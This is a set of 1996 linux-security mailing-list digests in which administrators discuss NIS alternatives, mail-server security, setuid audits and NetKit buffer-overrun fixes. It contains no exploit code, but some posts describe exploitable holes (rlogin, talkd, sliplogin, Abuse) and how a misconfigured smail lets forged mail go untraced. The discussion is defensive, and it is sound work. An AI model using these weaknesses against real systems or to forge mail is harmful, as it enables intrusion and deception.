point is that there's no design issue that prevents an efficient implementation of a mail transport agent which hands off mail at each uid boundary. Jesse Pollard wrote: >The approach outlined is also a major performance hog. Sendmail is an >intelligent (well... relatively) delivery and does analysis to reduce system >overhead and avoid delivering the same message multiple times. I don't think that sendmail has made the right design tradeoffs. - -- Raul ------------------------------ From: Wayne Buttles Date: Tue, 23 Jul 1996 13:20:40 -0400 (EDT) Subject: Re: [linux-security] Alternative to NIS On Mon, 22 Jul 1996, Eric M. Boyd wrote: > Everywhere I look security wise, people say to stay away from NIS because > it's very insecure, and that NIS+ isn't much better. Does anyone have any > suggestions as to a replacement to use? Is Radius a good answer here? I have heard stories of people using it as user auth for linux accounts as well as for portmasters. Later, Wayne. ------------------------------ From: [email protected] (Ian Goldberg) Date: 23 Jul 1996 13:44:53 -0700 Subject: Re: Fwd: [linux-security] security idea - -----BEGIN PGP SIGNED MESSAGE----- In article , Cosimo Leipold wrote: >You could change some setuid programs to >exclude access for this one person. This could be done by making them >group executable and then simply having only that group execute it, but >including everyone but one user seems to be a pain. In /etc/group: lusers::6969:lightman,mitnick Your programs: -r-s---r-x 1 root lusers 9397 Aug 8 1995 /usr/bin/traceroute (Make sure your "newgrp" program doesn't drop your supplementary groups...) - Ian - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMfU5q0ZRiTErSPb1AQF44gQAn5vmKNjjvcBOJoVA0ibfFEJWyvwSRbe1 TyCJ9UGayREJrIVOdyCAj/7Y+2QjO3qgb25B3ItxuHgQXgHLmBL7nVCvtggsOs47 w/SsDOOVOaNhvF5b4DTCN2XIhnyQSpOiEnulGU4gFZlPKpFWOZhZ7Qiv/FV0j13Z SJrzbBQ9zpc= =lS7Q - -----END PGP SIGNATURE----- ------------------------------ From: Miquel van Smoorenburg Date: Tue, 23 Jul 1996 21:10:59 +0200 (MET DST) Subject: Re: [linux-security] Alternative to NIS You (Eric M. Boyd) wrote: > > [REW: NIS uses the "domainname" as a kind of password. Anybody from > the whole internet who knows this can access your password file. Take > care not to choose something like "my.dns.domain.name". What complicates > the issue is that it is broadcast over your ethernet segment during > normal operation.] Not entirely true. Every decent NIS server allows for a "securenets" file in which you can tell it which nets to trust. In our case, only the lower IP number of our local class C (1-63) will get a reply from the NIS server, all others just can't talk to it. There are some more tricks you should use, such as blocking access to the portmapper on the router and running a secure portmapper (Wietse Venema's). Mike. - -- Miquel van | Cistron Internet Services -- Alphen aan den Rijn. Smoorenburg, | mailto:[email protected] http://www.cistron.nl/ [email protected] | Tel: +31-172-419445 (Voice) 430979 (Fax) 442580 (Data) ------------------------------ From: "Joseph S. D. Yao" Date: Tue, 23 Jul 1996 11:55:51 -0400 Subject: Re: [linux-security] sendmail security issues Jesse Pollard: > rmt: > >Wietse Venema: > >>There is more to sendmail than just this: > >>- access recipient's ~/.forward files and exploder :include: files > >accessing recipient's ~/.forward files would also be best handled by > >a separate delivery program that runs under the user's uid. ... > ... > Unfortunately this will waste a LOT of time: Not necessarily. Once upon a time, I came upon this problem (when installing a second-source TCP/IP and sendmail on a pure Bell Labs System V VAX - that was an adventure in debugging second-source code!). Rather than risk something insecure, I had sendmail fork and exec a small "get_forwards" program just before it set its UID to be non-root. The small program ran as root, but being small, it was more verifiable than 'sendmail'. The protocol was simple: 'sendmail' sent a local logname down the pipe, and the program returned the contents of the ".forward" file, or the same name if no ".forward" file was found (or the logname didn't exist, etc.). I think - this is all from memory, as the system having that code became unavailable to me and was later trashed. In any case, the program couldn't be spoofed very easily (if at all), since it could only be run by root and it only spoke to its parent via pipe. It spent most of its time sleeping. There was only one fork, at the beginning. The pipe reads and writes were fairly cheap, and would be cheaper on the Berkelian memory pipes that I believe most systems (s5 or bsd-based) use these days. Most of you should be able to write a fairly secure version of same from these specs; I've never really needed to do that since. Joe Yao [email protected] - Joseph S. D. Yao ------------------------------ From: John Henders Date: Tue, 23 Jul 1996 20:12:05 -0700 (PDT) Subject: Re: [linux-security] sendmail security Miller, Raul D. writes: > An example of a mailer which performs at least as well as sendmail, and > doesn't have sendmail's security problems exists at > ftp://koobera.math.uic.edu/pub/software/ > > The most recent version is qmail-0.76.tar.gz > > It's still in beta, but several CERT announcements have gone out on sendmail > (and analogous mailers, such as smail) and in each case qmail has not > exhibitted the problem. (qmail is coded very defensively). The reason it's > still in beta has to do with large scale deployment issues -- administration, > list management, backwards compatability with (a minimal set of) sendmail > features. Qmail is nice, but in defence of smail, I'd like to point out that smail has had _one_ cert notice since they started doing cert advisories. There was one other problem with the Slackware distribution of smail as it was configured wrong (big surprise there). Qmail appears very secure, but I don't like all the things that have been moved under the user's control. [REW: I don't believe that the number of CERT warnings is a measure for security. If company X releases patches to found problems within a week (with possible further weaknesses) and another waits for a year gathering lots of security patches together, the last one will get much less CERT warnings than the first.....] - -- Artificial Intelligence stands no chance against Natural Stupidity. GAT d- -p+(--) c++++ l++ u++ t- m--- W--- !v b+++ e* s-/+ n-(?) h++ f+g+ w+++ y* ------------------------------ From: Derek Atkins Date: Tue, 23 Jul 1996 18:57:50 -0400 Subject: Re: [linux-security] Alternative to NIS Hi, > Everywhere I look security wise, people say to stay away from NIS because > it's very insecure, and that NIS+ isn't much better. Does anyone have any > suggestions as to a replacement to use? I want to make sure my site is > secure, but it's really a hassle to individually add a user to each > machine, or ask a user to change their password on each machine they use. > > Any suggestions? You can use Hesiod for passwd, group, etc. information and use Kerberos for password/login authentication. This provides a centralized location for both naming and authentication. When you add a new user you add them to the Hesiod maps and Kerberos; then they can log in at any machine at your site that is setup to accept Hesiod-based logins. Hesiod is a based on DNS. It provides NIS-like capabilities using the DNS protocols. you do not put an encrypted password in the Hesiod maps. Instead you use Kerberos, which is a real authentication system that uses DES. Passwords are never transmitted over the net in clear text. Alternatively, you can *just* use kerberos for authentication while still using NIS or NIS+ for naming, again removing the password field from the passwd map. This reduces a lot of the security risks when using NIS or NIS+. The actual security risk is that neither NIS (nor NIS+) provide a security authentication system; kerberos does. For more information about hesiod, contact [email protected]. For more information about kerberos, contact [email protected]. - -derek PS: The MIT Student Information Processing Board (SIPB) has a version of Login for Linux which does the above; it uses Hesiod and Kerberos for logins, adding users to the local /etc/passwd while they are logged on, and removing them when they log off. It also includes AFS support, obtaining an AFS PAG and token for the user. I don't know what the distribution availability is on this program. ------------------------------ From: Tim Wilfong Date: Mon, 22 Jul 1996 23:42:28 -0700 Subject: [linux-security] Security hole in Abuse game (in RedHat 2.1) Here's one that I never would have thought of until it hit me! There is a security hole in the game called Abuse that is shipped in the RedHat 2.1 distrubution (others?) that allows a hacker to create an suid root shell. This game is usualy installed in /usr/lib/games/abuse. If you have it on a sensitive system, get rid of it. There is a shell script floating around that makes it fairly easy for even novice hackers to use this hole. [REW: For a secure system, you should always check if you don't have too many setuid programs lying around. At one time I tried looking for security holes in setuid programs, and it turned out that only a few were not exploitable..... Use find / -perm -4000 > /tmp/setuid.programs and see wether you find any that you'll never use. (remove them or remove just the suid bit.) I just found a set of VGA-console programs that have setuid-root bits. I don't have a VGA monitor, so I'll never run those. These are an uneccesary risk to my system. I found (there have been requests for this list in the past right?): at/cron/printing: at, crontab, lpq, lpr, lprm. passwd file: passwd, npasswd, newgrp, su, chfn, chsh, login. mail, news: mh/inc, mh/msgchk, procmail, inndstart, sendmail. vga console: zgv, koules[.svga], zapem, vga_klondike, vga_ohelll, vga_solitaire, vga_spider, tetris, sdoom, vga_connectN, vga_mines, vga_othello, abuse/keydrv. network: rcp, rlogin, rsh, traceroute, sliplogin, timedc, ping. mount: mount, umount. X: XF86_[servers], rxvt, SuperProbe, xterm, nxterm. I also found "xload", whose setuid-bit I removed. kmem-based xload implementations should've had a setgid-kmem xload, where the kmem group has read acces too /dev/kmem.] - ----------------------------------------------------------------------------- Tim Wilfong ([email protected]) Local WebXS access numbers: XS Communications Santa Maria, Nipomo, Arroyo Grande, Pismo (805) 929-7220 http://www.webxs.com/ San Luis Obispo, Avila Beach [email protected] [email protected] (805) 481-7202 For questions or support, call our voice lines: Nipomo 929-7200, SLO 595-9233 - ----------------------------------------------------------------------------- ------------------------------ End of linux-security-digest V2 #40 *********************************** linux-security-digest/v02.n041100664 1767 1767 53320 6175737041 15452 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #41 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Thursday, 25 July 1996 Volume 02 : Number 041 [linux-security] CERT says. Re: [linux-security] Alternative to NIS Re: [linux-security] CERT says. [linux-security] Radius Re: [linux-security] Alternative to NIS Re: [linux-security] Security hole in Abuse game (in RedHat 2.1) Re: [linux-security] Alternative to NIS Re: [linux-security] Alternative to NIS Re: [linux-security] Radius [linux-security] Linux NetKit-B update. [linux-security] Test SQUAD recruitment call. Re: Fwd: [linux-security] security idea ---------------------------------------------------------------------- From: Unix mailing list recipient Date: Tue, 23 Jul 1996 12:19:55 -0700 (PDT) Subject: [linux-security] CERT says. Gotta wonder if that growing market share is causing commercial ripples. BTW, did anyone else get that marketing survey from CERT a while back? Followup off the list. ;) - -------- trimmed advisory -------- CERT(sm) Summary CS-96.04 July 23, 1996 worthwhile to make a few observations about choosing an operating system. For information on this subject, see ftp://info.cert.org/pub/tech_tips/choose_operating_sys Recent Activity and Trends 1. Linux root compromises 2. Telnetd in Linux systems - -------- choose_operating_sys -------- July 23, 1996 Choosing an Operating System We receive reports of incidents from sites that use a wide variety of operating systems (OS). Because of operating-system-related difficulties these sites have experienced, we are recommending some things to consider before choosing an operating system. In-House vs. Outside Tech Support Consider these things: - Do you have in-house expertise to do necessary software maintenance if you're using freely available software? - Can you buy a product with vendor-supplied customer support? - Do you need to pay a third party for customer support? Freely-Available vs. Commercial Software If you have knowledgeable staff, you may choose to use freely available OS versions so that you can maintain or fine tune the product to meet specific requirements. You might have more confidence in the modified OS because you were responsible for making changes or closely involved in the implementation of patches or workarounds. If you know about a vulnerability and understand the problem, you may want to apply fixes immediately to the source code rather than wait for an upgrade or patch to be released through other channels. If you select freely available OS versions and don't have the resources to maintain software in-house, it's important to know that you could be placing your site at a high risk of compromise. This risk can exist because your site will not be receiving security patches on a regular basis from a vendor (or third party). In cases where intruders are exploiting a vulnerability, operating system vendors may have analyzed the vulnerability and released security patches for their operating systems. On the other hand, sites with freely available OS versions but without the expertise to develop and install patches may remain at risk from the vulnerability. If you do not have the time or expertise to modify and maintain an operating system in-house, you might choose a commercial vendor product. When you buy a commercial operating system, you can purchase a service contract to provide you with patches, upgrades, and other customer assistance. Alternatively, you could buy third-party service or select products from vendors who implement fixes and make patches publicly available. Understand Your Needs When choosing an operating system, there are many things you need to consider. Among these are - Availability of source code vs. binaries - Availability of technical expertise (internal and external) - Maintenance and/or customer support - Customer requirements and usability - Cost of software, hardware, and technical support staff Regardless of the choice you make, you should first carefully review and understand the needs of your organization or customer base in terms of resources, cost, and security risk, as well as any site-specific constraints; compare the available products and services to your needs; and then determine what product best matches your needs. Copyright 1996 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for noncommercial purposes and the copyright statement is included. CERT is a service mark of Carnegie Mellon University. The CERT Coordination Center is sponsored by the Defense Advanced Research Projects Agency (DARPA). The Software Engineering Institute is sponsored by the U.S. Department of Defense. [REW: At the university we've been paying for software support for years. Of course you then have access to the patches, but that doesn't put you on a mailing list that tells you about them. Moreover you are still responsible for installing the pathes yourself. IMHO not better than with a "freely available OS".] ------------------------------ From: Marek Michalkiewicz Date: Wed, 24 Jul 1996 17:43:43 +0200 (MET DST) Subject: Re: [linux-security] Alternative to NIS Eric M. Boyd: > Everywhere I look security wise, people say to stay away from NIS because > it's very insecure, and that NIS+ isn't much better. Does anyone have any > suggestions as to a replacement to use? I want to make sure my site is > secure, but it's really a hassle to individually add a user to each > machine, or ask a user to change their password on each machine they use. Here is one suggestion: use rdist to update the /etc/passwd and /etc/shadow files on each machine from the "server" machine (where users change their passwords). rdist should be run after any changes have been made, and/or periodically from a cron job. By default, rdist uses rsh to transfer files - not very secure, but it can be modified to use ssh (ftp://ftp.cs.hut.fi/pub/ssh/) instead. Marek ------------------------------ From: Alan Cox Date: Wed, 24 Jul 1996 13:17:11 +0100 (BST) Subject: Re: [linux-security] CERT says. > Gotta wonder if that growing market share is causing commercial > ripples. BTW, did anyone else get that marketing survey from I've already filed a formal complaint with cert about a set of inaccurate statements in that document as well as Ccing it to a few Linux vendors I know who will take offence and the *BSD crowd. If the commercial people want to make free OS's look bad then its time to play dirty and start publishing every little hole with trivial to use exploits and make people realise how _SLOW_ vendors are to fix bugs like the rsh one in solaris. Alan ------------------------------ From: "Alexander O. Yuriev" Date: Wed, 24 Jul 1996 09:39:59 -0400 Subject: [linux-security] Radius > > On Mon, 22 Jul 1996, Eric M. Boyd wrote: > > Everywhere I look security wise, people say to stay away from NIS because > > it's very insecure, and that NIS+ isn't much better. Does anyone have any > > suggestions as to a replacement to use? > > Is Radius a good answer here? I have heard stories of people using it as > user auth for linux accounts as well as for portmasters. The answer is "probably not". Unfortunately Radius like protocols provide secure authentication only if one has access to a secure link from his/her point of presense to a point of access controlled by radius. Otherwise, the link itself is vulnerable to passive attacks. Also, Radius authenticated connections are vulnerable to the active attacks where intruder wait for authentication process to be completed and then hijacks the connection. Best wishes, Alex ------------------------------ From: Chris Trown Date: Wed, 24 Jul 1996 09:09:03 -0700 (PDT) Subject: Re: [linux-security] Alternative to NIS Wayne Buttles sez > > > On Mon, 22 Jul 1996, Eric M. Boyd wrote: > > Everywhere I look security wise, people say to stay away from NIS because > > it's very insecure, and that NIS+ isn't much better. Does anyone have any > > suggestions as to a replacement to use? > > Is Radius a good answer here? I have heard stories of people using it as > user auth for linux accounts as well as for portmasters. > Note that I have only had a quick look at it, but what about LDAP? It's really good at providing information like real names, telephone/fax numbers, etc... But it looks like it could be used. Is it even secure enough? Chris... - -- - ------------------------------------------------------------------------------- + Chris Trown + CSRV Monkey Suit | Fly low + + [email protected] + worn under | and avoid + + KD6EVS | '92 CBR600F2 + PROTEST! | the radar + - ------------------------------------------------------------------------------- ------------------------------ From: Alan Cox Date: Wed, 24 Jul 1996 13:15:05 +0100 (BST) Subject: Re: [linux-security] Security hole in Abuse game (in RedHat 2.1) > Here's one that I never would have thought of until it hit me! There is a > security hole in the game called Abuse that is shipped in the RedHat 2.1 > distrubution (others?) that allows a hacker to create an suid root shell. > > This game is usualy installed in /usr/lib/games/abuse. If you have it on a > sensitive system, get rid of it. There is a shell script floating around > that makes it fairly easy for even novice hackers to use this hole. Correct. The abuse bug is well known and a fixed abuse was put out months ago. Its in the redhat upgrades set, and noted on the redhat notes. If you are running an OS (any OS) _PLEASE_ keep up to date with vendor info. > I found (there have been requests for this list in the past right?): > network: rcp, rlogin, rsh, traceroute, sliplogin, timedc, ping. If you are running an old old setup make sure you have the 3.0.3 fixed rlogin (this is a really nasty one - the old netkit rlogin client strcpy's TERM into a fixed 2K buffer. That also applies to *BSD (just been fixed) and probably to every 'commercial' vendor who will no doubt fix it in a decade or two. Older sliplogin's also had some IFS and ENV= exploits. Alan [REW: Yes, make sure that you have the newest netkit. Allow me to ramble a little. Some systems require such high security standards, that they should upgrade every subsystem that has a "known hole". This does require effort from the administrator, which may not be worth the trouble (maybe the security requirements are such that an occasional eye on the log files is considered enough). In that situation you would occasionally upgrade your whole system and hope to get rid of most holes. I find it therefore VERY important that fixes get back to the maintainers: there is nothing more frustrating than fixing a bug and finding out that an old hole is still present..... David Holland remarks that lpr has bugs. Is that also the case in the linux version? Is LPRng or PLP beter?] ------------------------------ From: Benedikt Stockebrand Date: Wed, 24 Jul 1996 11:52:33 +0200 Subject: Re: [linux-security] Alternative to NIS Eric M. Boyd wrote: | Everywhere I look security wise, people say to stay away from NIS because | it's very insecure, and that NIS+ isn't much better. Does anyone have any | suggestions as to a replacement to use? This is how I'd do it next time I'd run more than two or three machines: Keep ``master copies'' of all config files on one, well-protected ``config server'' machine. Install ssh on all machines to replace rsh/rcp/rlogin. Install rdist (make sure it uses rsh and not rdistd, so best compile it yourself) and use it to distribute copies of the master config files to the target machines. That way you'll only have to deal with the master copies on a single machine. If you generate your config files (using subst, m4 or whatever) from some host-independent templates it may be a good idea to use a makefile that takes care of running rdist as well. Using a crontab entry to distribute the files may be useful too. If you can't be sure if all machines are acutally up when you run rdist that may be a reasonable thing to do anyway. I'm currently running only my own two machines at home and haven't tried the whole thing yet. I also haven't checked if rdist really execs rsh (according to the docs it does) so please watch your steps. And maybe tell us about your experience. There's a clumsier approach using FTP to transfer PGP'ed tar files to do the same thing, but it seems way inferior in about all respects. Ben - -- Benedikt (Ben) Stockebrand Runaway ping.de sysadmin Dortmund, Germany --- Never ever trust old friends --- My name and email address are not to be added to any list used for the purpose of advertising. By sending unsolicited advertisement e-mail to this address, the sender implicitly agrees to pay a DM 500 fee to the recipient for proofreading services. ------------------------------ From: "Edward S. Marshall" Date: Wed, 24 Jul 1996 21:14:05 -0500 (CDT) Subject: Re: [linux-security] Alternative to NIS Marek Michalkiewicz: > Eric M. Boyd: > > Everywhere I look security wise, people say to stay away from NIS because > > it's very insecure, and that NIS+ isn't much better. Does anyone have any > > suggestions as to a replacement to use? I want to make sure my site is > > secure, but it's really a hassle to individually add a user to each > > machine, or ask a user to change their password on each machine they use. > > Here is one suggestion: use rdist to update the /etc/passwd and > /etc/shadow files on each machine from the "server" machine (where > users change their passwords). rdist should be run after any changes > have been made, and/or periodically from a cron job. By default, > rdist uses rsh to transfer files - not very secure, but it can be > modified to use ssh (ftp://ftp.cs.hut.fi/pub/ssh/) instead. One problem with this approach is that you can't (simply) restrict access for particular users on particular systems. Ideally, here's what I'd like to do: (Please excuse the crude drawings...:-) +--------------+ | Central | |Authentication| | Server | +-----------------+ +------+-------+ | Terminal Server | | +---------+-------+ | | |---+------+----+----------------+------+------+------------+---| | | | | | +-----+----+ +----+------+ +-------+---+ +-------+--+ +-----+--+ |Shell Host| |File Server| | Mail Host | | WWW Host | | Router | +----------+ +-----------+ +-----------+ +----------+ +--------+ Basically, a typical ISP setting, except that I'd like to centrallize all authentication services on a single server, as above. Basically, any login attempts are checked with the central server (via telnet, rlogin, ftp, etc). I'd like to be able to do getpw*() lookups without change, and basically have the calls fail when the user is denied access to "log in" by whatever specific means failed on a specific host. I.e. Jack is allowed to telnet to the shell host, retrieve pop mail from the mail host, and upload web pages to the www host via ftp. He cannot log in at all to the file server, authentication server, terminal server, or router (assuming these are all linux systems :-). Is there enough software support available to be able to do this right now with any authentication scheme? If so, could someone provide some pointers? I've read up a bit on Kerberos, and it sounds like a good alternative, but I don't know enough about the practical side of implementation (i.e. what support is available, what will I have to do myself, etc). Basically, I'm just out for pointers to authentication schemes which allow me to selectively control access to services from a central server (I believe someone else on this list mentioned "The fool says: don't put all your eggs in one basket. The wise man says: put all your eggs in one basket, and WATCH THAT BASKET." :-). - -- .-----------------------------------------------------------------------------. | Edward S. Marshall | CII Technical Administrator, | | http://www.common.net/~emarshal/ | Vice-President, Common Internet | | Finger for PGP public key. | Inc, and Linux & LPmud (ab)user. | `-----------------------------------------------------------------------------' ------------------------------ From: "Theodore Y. Ts'o" Date: Thu, 25 Jul 1996 13:49:20 -0400 Subject: Re: [linux-security] Radius Radious is useful for authenticating people who are logging in to terminal servers over a modem line, where you assume that (a) the modem line won't be tapped by the government or the phone company and (b) the person on the modem can't tap the network between the terminal server and the Radius server. (b) may be fixable if you encrypt between the terminal server and the Radious server, but it still doesn't fix (a). - Ted ------------------------------ From: David Holland Date: Wed, 24 Jul 1996 01:41:12 -0400 (EDT) Subject: [linux-security] Linux NetKit-B update. Linux NetKit-B-0.07 has been released (check comp.os.linux.announce for details). This fixes the following security problems/hazards: 1. Possible overrun copying DNS results into a buffer on the stack in fingerd while processing the linux-specific -w ("welcome banner") option. Patch: convert sprintf to snprintf. 2. Possible overrun copying DNS results into a buffer on the stack in talkd. This affected FreeBSD, NetBSD, and OpenBSD as well; all have integrated a fix into the current development tree. It may affect vendors... Patch: convert sprintf to snprintf in announce.c. 3. Possible overrun copying $TERM into a buffer on the stack in rlogin. This affects lots of platforms, but has been mentioned here before I think. Patch: use snprintf or strncpy. 4. Suspicious (but not necessarily exploitable) handling of buffers on the stack in rshd. Patch: convert sprintf to snprintf. 5. rsh didn't drop root before execing rlogin. This is not a big deal except in conjunction with (3) -- chmod -s on rlogin is *not* sufficient. 6. Buffer overflow in ping mentioned yesterday, but it's not on the stack and consequently probably not exploitable. Patch: use snprintf. 7. Integrated a fix for the telnetd environment bug (old news, but it hadn't got into the standard linux sources yet.) Also, there was a bug in sliplogin where it did "setuid(0); system()" without clearing the environment. A fixed version has been available for Linux and FreeBSD for some time, but the news had not reached NetBSD until last week. Vendor versions could be vulnerable. - -- - David A. Holland | Number of words in the English language that [email protected] | exist because of typos or misreadings: 381 ------------------------------ From: [email protected] (Rogier Wolff) Date: Wed, 24 Jul 1996 14:54:14 +0200 (MET DST) Subject: [linux-security] Test SQUAD recruitment call. As your moderator I sometimes see reports of problems that don't really exist. Usually I can weed those out myself, or ask the poster to do some more "homework". In some cases however both I and the poster don't have enough time to go back and verify the report. For this purpose, it might be nice to have a test-squad of about 5 to 10 volunteers who would like to receive such reports and verify the existence of the reported security holes. There should then be no more than a few days delay before the final report hits the list. This of course doesn't apply to things that are clearly either true or false, but only to the hard ones "in between". What do you think? Volunteers? [Mod: Please reply to Rogier, not to the list address. --Jeff.] Roger. /* EMail: [email protected] */ int main (int argc,char**argv){ /* Tel: +31-15-2137459 */ if (*++argv&&!strcmp(*argv,"-advice")) /* WWW: http://www.BitWizard.nl/ */ {printf("Don't Panic!\n");exit(42);}} ------------------------------ From: "Daniel Roedding" Date: Thu, 25 Jul 1996 09:50:45 +0200 (MDT) Subject: Re: Fwd: [linux-security] security idea - -----BEGIN PGP SIGNED MESSAGE----- Ian Goldberg wrote: > In /etc/group: > lusers::6969:lightman,mitnick > Your programs: > -r-s---r-x 1 root lusers 9397 Aug 8 1995 /usr/bin/traceroute > (Make sure your "newgrp" program doesn't drop your supplementary groups...) I'm not quite sure if all Linux versions handle this properly, but certainly many "commercial" Unix boxes won't, because they first check the "world" access rights and then "add" group specific ones. So you can use group specific access rights only to give members of a certain group *more* rights than the rest of the world, but not to *exclude* them. My personal conclusion: Even if Linux handles "group exclusions", you probably should not use this feature if you also have to deal with other Unix boxes. You might forget about these peculiarities some time and dig new security holes... Daniel - - -- Daniel Roedding [email protected] INTJ Padertown City +49-5251-541965 voice, 541334 data http://www.owl.de - -----BEGIN PGP SIGNATURE----- Version: 2.6 iQBVAgUBMfcnUWaWRTqP6nZNAQHJ4gIAp/hayruoWdwpx9S7YLQXBMI28jTjOzkb aOA9pkxxCOhte47VQ4glhL9iWfBGJohoLyk8vgQsMF5Y0dgyAl5jrw== =RiKU - -----END PGP SIGNATURE----- ------------------------------ End of linux-security-digest V2 #41 *********************************** linux-security-digest/v02.n042100664 1767 1767 52117 6176417111 15450 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #42 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Saturday, 27 July 1996 Volume 02 : Number 042 Re: Fwd: [linux-security] security idea Re: [linux-security] Linux NetKit-B update. Re: [linux-security] Security hole in Abuse game (in RedHat 2.1) Re: Fwd: [linux-security] security idea Re: [linux-security] sendmail security [linux-security] NetKit-B-0.07A [linux-security] Re: list of setuid programs (was: Security hole in Abuse) Re: [linux-security] Security hole in Abuse game (in RedHat 2.1) Re: [linux-security] sendmail security Re: [linux-security] Alternative to NIS Re: [linux-security] sendmail security Re: [linux-security] sendmail security Re: [linux-security] Re: list of setuid programs (was: Security hole in Abuse) Re: [linux-security] sendmail security ---------------------------------------------------------------------- From: "Theodore Y. Ts'o" Date: Thu, 25 Jul 1996 16:35:01 -0400 Subject: Re: Fwd: [linux-security] security idea Date: Thu, 25 Jul 1996 09:50:45 +0200 (MDT) From: "Daniel Roedding" I'm not quite sure if all Linux versions handle this properly, but certainly many "commercial" Unix boxes won't, because they first check the "world" access rights and then "add" group specific ones. So you can use group specific access rights only to give members of a certain group *more* rights than the rest of the world, but not to *exclude* them. Err no. I'm pretty certain POSIX specifies how permission bits work, and that group bits can be used to exclude rights. If you think you can find a Unix or Unix-clone implementation which does things the way you've described, let us know. But I'm pretty sure POSIX requires a very specific permissions bits algorithm. - Ted ------------------------------ From: "Joseph S. D. Yao" Date: Thu, 25 Jul 1996 22:56:29 -0400 Subject: Re: [linux-security] Linux NetKit-B update. > 6. Buffer overflow in ping mentioned yesterday, but it's not on the > stack and consequently probably not exploitable. Patch: use snprintf. Stack vs. heap is irrelevant. The V6 'login' overrun bug was in data space, rather than on the stack, and it gave a very nice way to log in as root. No, I don't remember the exact character string to enter ... ;-) Joe Yao [email protected] - Joseph S. D. Yao [REW: If a program is setuid, don't make assumptions about "probably not exploitable". Maybe you're right. But then again, maybe not. Would you be willing to bet $1000,- on your statement that it's not exploitable? For that "prize money" you might interest someone into actually proving you're wrong. There are others that have hundreds of users on their machines, who could easily lose much more than $1000 if a bad break-in occurred through such a hole....] ------------------------------ From: David Holland Date: Thu, 25 Jul 1996 15:37:55 -0400 (EDT) Subject: Re: [linux-security] Security hole in Abuse game (in RedHat 2.1) > [REW: Yes, make sure that you have the newest netkit. > : > I find it therefore VERY important that fixes get back to the > maintainers: > : It's also important that there *are* maintainers. Who's maintaining mount these days? [REW: I just got myself a new mount a few days ago. The pointers to maintainers seem to be over two years old, but at least someone messed with the version I'm using last may.] - -- - David A. Holland | Number of words in the English language that [email protected] | exist because of typos or misreadings: 381 ------------------------------ From: [email protected] (Robert Nichols) Date: Thu, 25 Jul 96 18:03 CDT Subject: Re: Fwd: [linux-security] security idea On Thu, 25 Jul 1996 "Daniel Roedding" wrote > >Ian Goldberg wrote: > >> In /etc/group: > >> lusers::6969:lightman,mitnick > >> Your programs: > >> -r-s---r-x 1 root lusers 9397 Aug 8 1995 /usr/bin/traceroute > >> (Make sure your "newgrp" program doesn't drop your supplementary groups...) > >I'm not quite sure if all Linux versions handle this properly, but >certainly many "commercial" Unix boxes won't, because they first >check the "world" access rights and then "add" group specific ones. >So you can use group specific access rights only to give members >of a certain group *more* rights than the rest of the world, but >not to *exclude* them. That's exactly wrong for every Unix system I've ever used. If you are the owner, you get the "owner" permissions and no others. If you are not the owner but are a member of the group, you get the "group" permissions and no others. If you are not the owner and are not a member of the group, you get the "world" permissions. - -- Bob Nichols [email protected] ------------------------------ From: Richard Bullington Date: Fri, 26 Jul 1996 04:05:27 -0400 (EDT) Subject: Re: [linux-security] sendmail security On Tue, 23 Jul 1996, John Henders wrote: > Qmail is nice, but in defence of smail, I'd like to point out that smail > has had _one_ cert notice since they started doing cert advisories. > There was one other problem with the Slackware distribution of smail as > it was configured wrong (big surprise there). Smail may not have CERT advisories put out, but people who write mailbombing software are actively exploiting a weakness in the production version (at least up to 3.1.29.1): it does not keep an IP address trail of SMTP participants in the "Received:" line of the headers. This means that if you can telnet to the SMTP port of a machine running smail, you can effectively forge mail. Smail will hide your tracks from the recipient of the message, who will need to get cooperation from the system administrators of the smail system to do any more tracing. Can someone quote from an SMTP related RFC that specifies what should be in the "Received:" header? Is Smail being a bad SMTP citizen? - -Richard Bullington http://www.obscure.org ------------------------------ From: David Holland Date: Fri, 26 Jul 1996 02:01:04 -0400 (EDT) Subject: [linux-security] NetKit-B-0.07A Quick note: NetKit-B-0.07A replaces NetKit-B-0.07; there was a fatal (but not security-related) bug in telnet. md5sum of NetKit-B-0.07A.tar.gz: d643cca309f4a01570c36f8d88c9c331 md5sum of NetKit-B-0.07-0.07A.patch: 84c88df24e4633b76b41a47a321c5ac6 sorry. (If anyone cares: the bug was that telnet ignored ^], which turned out to be because some modules included which caused _POSIX_VDISABLE's value to be different in different modules... sigh.) - -- - David A. Holland | Number of words in the English language that [email protected] | exist because of typos or misreadings: 381 ------------------------------ From: David Holland Date: Wed, 24 Jul 1996 18:18:48 -0400 (EDT) Subject: [linux-security] Re: list of setuid programs (was: Security hole in Abuse) > I found (there have been requests for this list in the past right?): > > at/cron/printing: at, crontab, lpq, lpr, lprm. LPRng and PLP are secure replacements for BSD lpr that don't involve setuid. (Apparently LPRng is a rewrite of PLP.) Given that lpr is full of security holes, it would be wise to investigate and/or switch to one of these. > network: rcp, rlogin, rsh, traceroute, sliplogin, timedc, ping. Please get the fixes to rcp, rlogin, rsh, and ping in the new NetKit. :-) Also be advised that old versions of sliplogin had a hole you could fly a starship through. > mount: mount, umount. I'm told there's a buffer overrun in mount, but I haven't looked at it yet. Smbmount is reportedly also not particularly secure. [Also note that ssh, if installed, needs to be setuid root.] - -- - David A. Holland | Number of words in the English language that [email protected] | exist because of typos or misreadings: 381 ------------------------------ From: [email protected] Date: Fri, 26 Jul 1996 11:49:42 +0200 Subject: Re: [linux-security] Security hole in Abuse game (in RedHat 2.1) It's also important that there *are* maintainers. Who's maintaining mount these days? I am. For the latest mount, see ftp.win.tue.nl:/pub/linux/util. Andries ------------------------------ From: John Henders Date: Fri, 26 Jul 1996 03:07:57 -0700 (PDT) Subject: Re: [linux-security] sendmail security Richard Bullington writes: > Smail may not have CERT advisories put out, but people who write > mailbombing software are actively exploiting a weakness in the production > version (at least up to 3.1.29.1): it does not keep an IP address trail of > SMTP participants in the "Received:" line of the headers. > It does when configured correctly. You need a line like this in the config file. Notice the second if def: line. The problem is most smail setups are not configured correctly. This part of my config file came with the smail installation for SLS 1.0, and I believe it was supplied by Ian Kluft, though I modified it to add the ident field when I upgraded smail to use identd. Slackware gave smail a very bad name because it was never configured correctly. Debian does a much better job. # received_field="Received: \ ${if def:sender_host {from $sender_host }}\ ${if def:sender_host_addr {[$sender_host_addr] }}\ ${if def:sender_proto: 